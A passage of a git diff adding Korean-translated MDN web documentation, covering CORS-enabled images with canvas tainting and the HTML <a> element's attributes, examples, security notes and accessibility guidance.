+<p>만약 외부 출처 콘텐츠가 {{domxref("HTMLCanvasElement")}} 또는 {{domxref("ImageBitMap")}} 로부터 오는 이미지이고, 이미지의 source가 동일 출처 원칙과 맞지 않는다면 canvas의 콘텐츠를 읽으려는 시도는 막힙니다.</p>
+
+<p>Calling any of the following on a tainted canvas will result in an error:</p>
+
+<ul>
+ <li>Calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} on the canvas's context</li>
+ <li>Calling {{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} on the {{HTMLElement("canvas")}} element itself</li>
+ <li>Calling {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} on the canvas</li>
+</ul>
+
+<p>Attempting any of these when the canvas is tainted will cause a <code>SecurityError</code> to be thrown. This protects users from having private data exposed by using images to pull information from remote web sites without permission.</p>
+
+<h2 id="Storing_an_image_from_a_foreign_origin">Storing an image from a foreign origin</h2>
+
+<p>In this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. Implementing this requires configuring the server as well as writing code for the web site itself.</p>
+
+<h3 id="Web_server_configuration">Web server configuration</h3>
+
+<p>The first thing we need is a server that's configured to host images with the {{HTTPHeader("Access-Control-Allow-Origin")}} header configured to permit cross-origin access to image files.</p>
+
+<p>Let's assume we're serving our site using <a href="https://httpd.apache.org/">Apache</a>. Consider the HTML5 Boilerplate <a href="https://github.com/h5bp/server-configs-apache/blob/master/src/cross-origin/images.conf">Apache server configuration file for CORS images</a>, shown below:</p>
+
+<pre class="brush: xml">&lt;IfModule mod_setenvif.c&gt;
+ &lt;IfModule mod_headers.c&gt;
+ &lt;FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"&gt;
+ SetEnvIf Origin ":" IS_CORS
+ Header set Access-Control-Allow-Origin "*" env=IS_CORS
+ &lt;/FilesMatch&gt;
+ &lt;/IfModule&gt;
+&lt;/IfModule&gt;</pre>
+
+<p>In short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet.</p>
+
+<h3 id="Implementing_the_save_feature">Implementing the save feature</h3>
+
+<p>Now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local <a href="/en-US/docs/Web/API/Web_Storage_API">local storage</a>, just as if they were being served from the same domain the code is running on.</p>
+
+<p>The key is to use the {{htmlattrxref("crossorigin")}} attribute by setting {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} on the {{domxref("HTMLImageElement")}} into which the image will be loaded. This tells the browser to request cross-origin access when trying to download the image data.</p>
+
+<h4 id="Starting_the_download">Starting the download</h4>
+
+<p>The code that starts the download (say, when the user clicks a "Download" button), looks like this:</p>
+
+<pre class="brush: js">function startDownload() {
+ let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+
+ downloadedImg = new Image;
+ downloadedImg.crossOrigin = "Anonymous";
+ downloadedImg.addEventListener("load", imageReceived, false);
+ downloadedImg.src = imageURL;
+}</pre>
+
+<p>We're using a hard-coded URL here (<code>imageURL</code>), but that could easily come from anywhere. To begin downloading the image, we create a new {{domxref("HTMLImageElement")}} object by using the {{domxref("HTMLImageElement.Image", "Image()")}} constructor. The image is then configured to allow cross-origin downloading by setting its <code>crossOrigin</code> attribute to <code>"Anonymous"</code> (that is, allow non-authenticated downloading of the image cross-origin). An event listener is added for the {{event("load")}} event being fired on the image element, which means the image data has been received.</p>
+
+<p>Finally, the image's {{domxref("HTMLImageElement.src", "src")}} attribute is set to the URL of the image to download; this triggers the download to begin.</p>
+
+<h4 id="Receiving_and_saving_the_image">Receiving and saving the image</h4>
+
+<p>The code that handles the newly-downloaded image is found in the <code>imageReceived()</code> method:</p>
+
+<pre class="brush: js">function imageReceived() {
+ let canvas = document.createElement("canvas");
+ let context = canvas.getContext("2d");
+
+ canvas.width = downloadedImg.width;
+ canvas.height = downloadedImg.height;
+
+ context.drawImage(downloadedImg, 0, 0);
+ imageBox.appendChild(canvas);
+
+ try {
+ localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+ }
+ catch(err) {
+ console.log("Error: " + err);
+ }
+}</pre>
+
+<p><code>imageReceived()</code> is called to handle the <code>"load"</code> event on the <code>HTMLImageElement</code> that receives the downloaded image. This event is triggered once the downloaded data is all available. It begins by creating a new {{HTMLElement("canvas")}} element that we'll use to convert the image into a data URL, and by getting access to the canvas's 2D drawing context ({{domxref("CanvasRenderingContext2D")}}) in the variable <code>context</code>.</p>
+
+<p>The canvas's size is adjusted to match the received image, then the image is drawn into the canvas using {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. The canvas is then inserted into the document so the image is visible.</p>
+
+<p>Now it's time to actually save the image locally. To do this, we use the Web Storage API's local storage mechanism, which is accessed through the {{domxref("Window.localStorage", "localStorage")}} global. The canvas method {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} is used to convert the image into a data:// URL representing a PNG image, which is then saved into local storage using {{domxref("Storage.setItem", "setItem()")}}.</p>
+
+<p>You can <a href="https://cors-image-example.glitch.me/">try out</a> or <a href="https://glitch.com/edit/#!/remix/cors-image-example">remix</a> this example on Glitch.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html">Using Cross-domain images in WebGL and Chrome 13</a></li>
+ <li><a class="external" href="http://whatwg.org/html#attr-img-crossorigin">HTML Specification - the <code>crossorigin</code> attribute</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/element/a/index.html b/files/ko/web/html/element/a/index.html
new file mode 100644
index 0000000000..680f85b9b6
--- /dev/null
+++ b/files/ko/web/html/element/a/index.html
@@ -0,0 +1,489 @@
+---
+title: <a>
+slug: Web/HTML/Element/a
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/a
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;a&gt;</code> 요소</strong>(앵커 요소)는 {{htmlattrxref("href", "a")}} 특성을 통해 다른 페이지나 같은 페이지의 어느 위치, 파일, 이메일 주소와 그 외 다른 URL로 연결할 수 있는 하이퍼링크를 만듭니다.</span> <code>&lt;a&gt;</code> 안의 콘텐츠는 링크 목적지의 설명을 <strong>나타내야 합니다</strong>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/a.html")}}</div>
+
+
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("download")}}</dt>
+ <dd>링크로 이동하는 대신 사용자에게 URL을 저장할지 물어봅니다. 값을 지정할 수도 있고, 지정하지 않을 수도 있습니다.
+ <ul>
+ <li>값이 없으면 파일 이름과 확장자는 브라우저가 다양한 인자로부터 생성해 제안합니다.
+ <ul>
+ <li>{{HTTPHeader("Content-Disposition")}} HTTP 헤더</li>
+ <li><a href="/ko/docs/Web/API/URL/pathname">URL 경로</a>의 마지막 조각</li>
+ <li>{{glossary("MIME type", "미디어 유형")}} ({{HTTPHeader("Content-Type")}} 헤더, <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URL</a>의 시작 부분, <a href="/ko/docs/Web/API/URL/createObjectURL"><code>blob:</code> URL</a>의 {{domxref("Blob.type")}}에서 알아냄)</li>
+ </ul>
+ </li>
+ <li>값을 지정하면 저장할 때의 파일 이름으로서 제안합니다. <code>/</code>와 <code>\</code> 문자는<code>_</code>로 변환합니다. 파일시스템에서 다른 문자도 제한할 수 있으므로, 필요한 경우 브라우저가 추가로 이름을 조정할 수 있습니다.</li>
+ </ul>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+ <li><code>download</code>는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 URL</a>과 <code>blob:</code>, <code>data:</code> 스킴에서만 작동합니다.</li>
+ <li><code>Content-Disposition</code>의 <code>filename</code>이 <code>download</code>와 다를 땐 헤더가 우선권을 가집니다. (<code>Content-Disposition: inline</code>일 때, Firefox는 헤더를 우선하고 Chrome은 <code>download</code>를 우선합니다.)</li>
+ </ul>
+ </div>
+ </dd>
+ <dt id="href">{{HTMLAttrDef("href")}}</dt>
+ <dd>
+ <p>하이퍼링크가 가리키는 URL. 링크는 HTTP 기반 URL일 필요는 없고, 브라우저가 지원하는 모든 URL 스킴을 사용할 수 있습니다.</p>
+
+ <ul>
+ <li>페이지 구획을 가리키는 프래그먼트 URL</li>
+ <li>미디어 파일 일부를 가리키는 미디어 프래그먼트</li>
+ <li><code>tel:</code> URL을 사용하는 전화번호</li>
+ <li><code>mailto:</code> URL을 사용하는 이메일 주소</li>
+ <li>웹 브라우저는 다른 URL 스킴을 지원하지 않지만, 웹사이트는 {{domxref("Navigator.registerProtocolHandler()")}}를 통해 지원할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>링크 URL의 인간 언어에 대한 힌트. 특별한 내장 기능은 없습니다. 가능한 값은 <a href="/ko/docs/Web/HTML/Global_attributes/lang">전역 <code>lang</code> 특성</a>과 동일합니다.</dd>
+ <dt>{{HTMLAttrDef("ping")}}</dt>
+ <dd>하나의 스페이스로 구분하는 URL 목록. 링크를 클릭해 따라갈 경우, 브라우저가 URL 각각에 {{HTTPMethod("POST")}} 요청을 전송합니다. 대개 추적 용도로 사용합니다.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>URL을 가져올 때 사용할 리퍼러. {{httpheader("Referrer-Policy")}} 문서에서 가능한 값과 효과를 확인하세요.</dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>하나의 스페이스로 구분하는, 연결한 URL과의 관계를 나타내는 <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a> 목록.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>링크한 URL을 표시할 위치. 가능한 값은 브라우징 맥락으로, 즉 탭, 창, <code>&lt;iframe&gt;</code>의 이름이나 특정 키워드입니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+ <li><code>_self</code>: URL을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+ <li><code>_blank</code>: URL을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+ <li><code>_parent</code>: URL을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ <li><code>_top</code>: URL을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> <code>target</code>을 사용할 때, <code>rel="noreferrer"</code>를 추가해 <code>window.opener</code> API의 악의적인 사용을 방지하는걸 고려하세요.</p>
+ </div>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> 최근의 브라우저(Firefox 79+ 등)에서는 target="_blank"를 지정하면 <code>rel="noopener"</code>를 적용한 것과 같은 동작을 합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>링크 URL의 {{Glossary("MIME type")}}에 대한 힌트. 특별한 내장 기능은 없습니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<dl>
+ <dt id="charset">{{HTMLAttrDef("charset")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Hinted at the <a href="/en-US/docs/Glossary/character_encoding">character encoding</a> of the linked URL.
+ <div class="note">
+ <p><strong>Note:</strong> This attribute is obsolete and <strong>should not be used by authors</strong>. Use the HTTP <a href="/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> header on the linked URL.</p>
+ </div>
+ </dd>
+ <dt id="coords">{{HTMLAttrDef("coords")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Used with <a href="#shape">the <code>shape</code> attribute</a>. A comma-separated list of coordinates.</dd>
+ <dt id="name">{{HTMLAttrDef("name")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Was required to define a possible target location in a page. In HTML 4.01, <code>id</code> and <code>name</code> could both be used on <code>&lt;a&gt;</code>, as long as they had identical values.
+ <div class="note">
+ <p><strong>Note:</strong> Use the global attribute {{HTMLAttrxRef("id")}} instead.</p>
+ </div>
+ </dd>
+ <dt id="rev">{{HTMLAttrDef("rev")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Specified a reverse link; the opposite of <a href="#rel">the <code>rel</code> attribute</a>. Deprecated for being very confusing.</dd>
+ <dt id="shape">{{HTMLAttrDef("shape")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The shape of the hyperlink’s region in an image map.
+ <div class="note"><strong>Note:</strong> Use the {{HTMLElement("area")}} element for image maps instead.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content categories#Phrasing content">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 컨텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명함</a>. <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>(대화형 콘텐츠 제외) 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>
+ <p><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a>를 허용하는 모든 요소, 또는 플로우 콘텐츠를 허용하는 모든 요소. 단, 다른 <code>&lt;a&gt;</code> 요소는 불가능.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><code>href</code> 특성이 존재하면 {{ariarole("link")}}, 그 외의 경우 <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>
+ <p><code>href</code> 특성이 존재할 경우,</p>
+
+ <ul>
+ <li>{{ARIARole("button")}}</li>
+ <li>{{ARIARole("checkbox")}}</li>
+ <li>{{ARIARole("menuitem")}}</li>
+ <li>{{ARIARole("menuitemcheckbox")}}</li>
+ <li>{{ARIARole("menuitemradio")}}</li>
+ <li>{{ARIARole("option")}}</li>
+ <li>{{ARIARole("radio")}}</li>
+ <li>{{ARIARole("switch")}}</li>
+ <li>{{ARIARole("tab")}}</li>
+ <li>{{ARIARole("treeitem")}}</li>
+ </ul>
+
+ <p><code>href</code> 특성이 존재하지 않을 경우,</p>
+
+ <ul>
+ <li>모두</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLAnchorElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="절대_URL로_연결">절대 URL로 연결</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="https://www.mozilla.com"&gt;
+ Mozilla
+&lt;/a&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('절대_URL로_연결')}}</p>
+
+<h3 id="상대_URL로_연결">상대 URL로 연결</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="//example.com"&gt;Scheme-relative URL&lt;/a&gt;
+&lt;a href="/en-US/docs/Web/HTML"&gt;Origin-relative URL&lt;/a&gt;
+&lt;a href="./p"&gt;Directory-relative URL&lt;/a&gt;
+</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a { display: block; margin-bottom: 0.5em }</pre>
+</div>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('상대_URL로_연결')}}</p>
+
+<h3 id="같은_페이지의_요소로_연결">같은 페이지의 요소로 연결</h3>
+
+<pre class="brush: html notranslate">&lt;!-- &lt;a&gt; 요소로 아래의 구획에 연결 --&gt;
+&lt;p&gt;&lt;a href="#Section_further_down"&gt;
+ 아래 제목으로 건너뛰기
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;!-- 링크가 향할 제목 --&gt;
+&lt;h2 id="Section_further_down"&gt;아래의 제목&lt;/h2&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>href="#top"</code>이나 빈 프래그먼트(<code>href="#"</code>)를 사용하면 현재 페이지의 최상단으로 이동하는 링크를 생성할 수 있습니다. <a href="https://html.spec.whatwg.org/multipage/browsing-the-web.html#scroll-to-the-fragment-identifier">HTML 명세</a>를 확인하세요.</p>
+</div>
+
+<h3 id="이메일_주소로_연결">이메일 주소로 연결</h3>
+
+<p>사용자의 이메일 프로그램을 통해 새로운 메일을 보낼 수 있는 링크를 생성하려면 <code>mailto:</code> 스킴을 사용하세요.</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nowhere@mozilla.org"&gt;Send email to nowhere&lt;/a&gt;</pre>
+
+<p>제목과 본문 포함 등, <code>mailto:</code> URL에 관한 자세한 내용은 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#이메일_링크">이메일 링크</a>와 {{RFC(6068)}}을 참고하세요.</p>
+
+<h3 id="전화번호로_연결">전화번호로 연결</h3>
+
+<ul>
+</ul>
+
+<pre class="brush: html notranslate">&lt;a href="tel:+49.157.0156"&gt;+49 157 0156&lt;/a&gt;
+&lt;a href="tel:+1(555)5309"&gt;(555) 5309&lt;/a&gt;</pre>
+
+<p><code>tel:</code> 링크는 장치의 능력에 따라 행동이 바뀝니다.</p>
+
+<ul>
+ <li>휴대전화에서는 번호를 자동으로 입력합니다.</li>
+ <li>대부분의 운영체제에는 Skype, FaceTime처럼 전화를 걸 수 있는 프로그램이 있습니다.</li>
+ <li>웹사이트는 {{domxref("Navigator.registerProtocolHandler()")}}를 사용해 전화를 걸 수 있습니다. <code>web.skype.com</code>을 참고하세요.</li>
+ <li>다른 행동으로는 연락처에 저장하기와 다른 장치로 전송 등이 있습니다.</li>
+</ul>
+
+<p><code>tel:</code> URL의 구문, 추가 기능, 그 외 더 자세한 정보는 {{RFC(3966)}}을 참고하세요.</p>
+
+<h3 id="download_특성으로_&lt;canvas>를_PNG로_저장하기"><code>download</code> 특성으로 <code>&lt;canvas&gt;</code>를 PNG로 저장하기</h3>
+
+<p>{{htmlattrxref("download", "a")}} 특성과 <code>data:</code> URL을 사용해 {{HTMLElement("canvas")}} 요소의 콘텐츠를 이미지로 저장할 수 있습니다.</p>
+
+<h4 id="저장_링크를_가진_그림판_예제">저장 링크를 가진 그림판 예제</h4>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html notranslate">&lt;p&gt;마우스 드래그로 그림을 그려보세요.
+ &lt;a href="" download="my_painting.png"&gt;다운로드&lt;/a&gt;
+&lt;/p&gt;
+
+&lt;canvas width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css notranslate">html {
+ font-family: sans-serif;
+}
+canvas {
+ background: #fff;
+ border: 1px dashed;
+}
+a {
+ display: inline-block;
+ background: #69c;
+ color: #fff;
+ padding: 5px 10px;
+}</pre>
+
+<h5 id="JavaScript">JavaScript</h5>
+
+<pre class="brush: js notranslate">var canvas = document.querySelector('canvas'),
+ c = canvas.getContext('2d');
+c.fillStyle = 'hotpink';
+
+function draw(x, y) {
+ if (isDrawing) {
+ c.beginPath();
+ c.arc(x, y, 10, 0, Math.PI*2);
+ c.closePath();
+ c.fill();
+ }
+}
+
+canvas.addEventListener('mousemove', event =&gt;
+ draw(event.offsetX, event.offsetY)
+);
+canvas.addEventListener('mousedown', () =&gt; isDrawing = true);
+canvas.addEventListener('mouseup', () =&gt; isDrawing = false);
+
+document.querySelector('a').addEventListener('click', event =&gt;
+ event.target.href = canvas.toDataURL()
+);
+</pre>
+
+<h5 id="결과_3">결과</h5>
+
+<p>{{EmbedLiveSample('저장_링크를_가진_그림판_예제', '100%', '400')}}</p>
+
+<h2 id="Specifications" name="Specifications">보안과 개인정보</h2>
+
+<p><code>&lt;a&gt;</code> 요소는 사용자의 보안과 개인정보에 중요한 영향을 줄 수 있습니다. <a href="/ko/docs/Web/Security/Referer_header:_privacy_and_security_concerns"><code>Referer</code> 헤더: 개인정보와 보안 고려사항</a> 문서에서 자세한 내용을 알아보세요.</p>
+
+<p><code>target="_blank"</code>를 <code>rel="noreferrer"</code>와 <code>rel="noopener"</code> 없이 사용하면 웹사이트가 {{domxref("Window.opener", "window.opener")}} API 악용 공격에 취약해집니다. (<a href="https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/">취약점 설명</a>) 다만, 최근 브라우저(Firefox 79+ 등)는 <code>target="_blank"</code>를 지정하면 임의로 <code>rel="noopener"</code> 설정과 동일한 보호 수준을 적용합니다.</p>
+
+<h2 id="Specifications" name="Specifications">접근성</h2>
+
+<h3 id="강한_링크_텍스트">강한 링크 텍스트</h3>
+
+<p>링크 안의 콘텐츠는, 맥락에서 벗어나더라도 링크가 향하는 곳을 설명해야 합니다.</p>
+
+<h4 id="접근성_떨어지는_약한_링크_텍스트">접근성 떨어지는 약한 링크 텍스트</h4>
+
+<p>심각하게 흔한 실수는 "여기를 클릭"이나 "여기"라는 단어에 링크를 한다는 것입니다.</p>
+
+<pre class="brush: html example-bad notranslate">&lt;p&gt;
+ 저희의 제품을 더 알아보시려면 &lt;a href="/products"&gt;여기&lt;/a&gt;를 클릭하세요.
+&lt;/p&gt;
+</pre>
+
+<h4 id="강한_링크_텍스트_2">강한 링크 텍스트</h4>
+
+<p>다행히도 쉽게 수정할 수 있는 데다가, 접근성이 떨어지는 버전보다 더 짧습니다!</p>
+
+<pre class="brush: html example-good notranslate">&lt;p&gt;
+ 저희의 &lt;a href="/products"&gt;제품을 더 알아보세요&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>접근성 보조 기술은 페이지 안의 모든 링크를 나열하는 단축키가 있습니다. 그러나 강한 링크 텍스트가 보조 기술 사용자에게만 도움을 주는 것은 아닙니다. 모든 링크 나열 단축키는 시각적 사용자가 페이지를 빠르게 훑는 것을 흉내 내는 것이기 때문입니다.</p>
+
+<h3 id="onclick_이벤트"><code>onclick</code> 이벤트</h3>
+
+<p>앵커 요소의 <code>href</code>를 <code>#</code>이나 <code>javascript:void(0)</code>으로 지정해 페이지 새로고침을 막고, <code>click</code> 이벤트 처리기를 등록해서 가짜 버튼을 만드는 방식으로 남용하는 경우가 많습니다.</p>
+
+<p>이런 가짜 <code>href</code> 값은 링크를 복사하거나 드래그할 때, 링크를 새 탭이나 새 창에서 열 때, 즐겨찾기에 추가할 때와 JavaScript를 불러오고 있거나 스크립트 오류가 발생했을 때, 아니면 비활성화했을 때 예측하지 못한 동작을 유발합니다. 또한 스크린 리더 등 보조 기술에도 잘못된 의미를 전달합니다.</p>
+
+<p>대신 {{HTMLElement("button")}}을 사용하세요. <strong>하이퍼링크는 진짜 URL로의 탐색 용도로만 사용해야 합니다</strong>.</p>
+
+<h3 id="외부_링크와_비_HTML_리소스_링크">외부 링크와 비 HTML 리소스 링크</h3>
+
+<p><code>target="_blank"</code>로 인해 새 탭/창을 여는 링크와, 파일을 다운로드하는 링크는, 링크를 클릭했을 때 무슨 일이 발생할건지 명시해야 합니다.</p>
+
+<p>시력이 나쁘거나 스크린 리더로 탐색하는 사용자, 혹은 지각 능력이 낮은 사용자는 예상하지 못한 상황에서 새 탭, 새 창, 다른 앱이 켜지는 순간 혼란스러울 수 있습니다. 오래된 스크린 리더는 이런 상황을 아예 알려주지 못할 수도 있습니다.</p>
+
+<h4 id="새로운_탭창을_여는_링크">새로운 탭/창을 여는 링크</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://ko.wikipedia.org"&gt;
+ 위키백과 (새 탭에서 열림)
+&lt;/a&gt;
+</pre>
+
+<h4 id="비_HTML_리소스_링크">비 HTML 리소스 링크</h4>
+
+<pre class="brush: html notranslate">&lt;a href="2017-annual-report.ppt"&gt;
+ 2017 연간 보고서 (PowerPoint)
+&lt;/a&gt;
+</pre>
+
+<p>아이콘을 사용해 링크의 행동을 강조할 땐 {{HTMLAttrxRef("alt", "img", "대체 텍스트", 1)}}를 꼭 지정하세요.</p>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://ko.wikipedia.org"&gt;
+ 위키백과
+ &lt;img alt="(새 탭에서 열림)" src="newtab.svg"&gt;
+&lt;/a&gt;
+
+&lt;a href="2017-annual-report.ppt"&gt;
+ 2017 연간 보고서
+ &lt;img alt="(PowerPoint 파일)" src="ppt-icon.svg"&gt;
+&lt;/a&gt;</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM: Links and Hypertext - Hypertext Links</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN / Understanding WCAG, Guideline 3.2</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200: Opening new windows and tabs from a link only when necessary</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201: Giving users advanced warning when opening a new window</a></li>
+</ul>
+
+<h3 id="건너뛰기_링크">건너뛰기 링크</h3>
+
+<p><strong>건너뛰기 링크</strong>(skip link)는 {{HTMLElement("body")}} 콘텐츠에서 가능한 앞쪽에 배치하는 링크로, 페이지의 주요 콘텐츠 시작점을 가리킵니다. 건너뛰기 링크는 보통 포커스 전까지 숨겨집니다.</p>
+
+<pre class="brush: html notranslate">&lt;body&gt;
+ &lt;a href="#content"&gt;내용으로 건너뛰기&lt;/a&gt;
+
+ &lt;header&gt;
+ …
+ &lt;/header&gt;
+
+ &lt;main id="content"&gt; &lt;!-- 여기로 건너뜀 --&gt;
+</pre>
+
+<pre class="brush: css notranslate">.skip-link {
+ position: absolute;
+ top: -3em;
+ background: #fff;
+}
+.skip-link:focus {
+ top: 0;
+}</pre>
+
+<p>건너뛰기 링크는 헤더 내비게이션과 같이 여러 페이지에서 반복되는 콘텐츠를 키보드 사용자가 쉽게 생략할 수 있도록 도와줍니다.</p>
+
+<p>건너뛰기 링크는 스위치 조작, 음성 명령, 마우스 스틱/헤드 완드처럼 반복 콘텐츠를 건너뛰기 힘든 보조 기술 사용자에게 큰 도움이 됩니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+ <li><a href="https://a11yproject.com/posts/skip-nav-links/">How-to: Use Skip Navigation links</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN / Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1</a></li>
+</ul>
+
+<h3 id="크기와_간격">크기와 간격</h3>
+
+<h4 id="크기">크기</h4>
+
+<p>링크와 같은 대화형 요소는 상호작용하기 충분한 크기의 활성화 영역을 가져야 합니다. 충분한 크기는 운동 조절 장애를 가진 사용자와, 터치스크린처럼 정확하지 않은 입력 도구 사용자처럼 다양한 사람을 돕습니다. 최소 44x44의 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">CSS 픽셀</a> 크기를 권고합니다.</p>
+
+<p>산문 내의 텍스트로만 이루어진 링크는 위 규칙에서 제외할 수 있지만, 그래도 활성화하기 쉬운 크기를 확보하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Understanding Success Criterion 2.5.5: Target Size</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Target Size and 2.5.5</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Quick test: Large touch targets</a></li>
+</ul>
+
+<h4 id="간격">간격</h4>
+
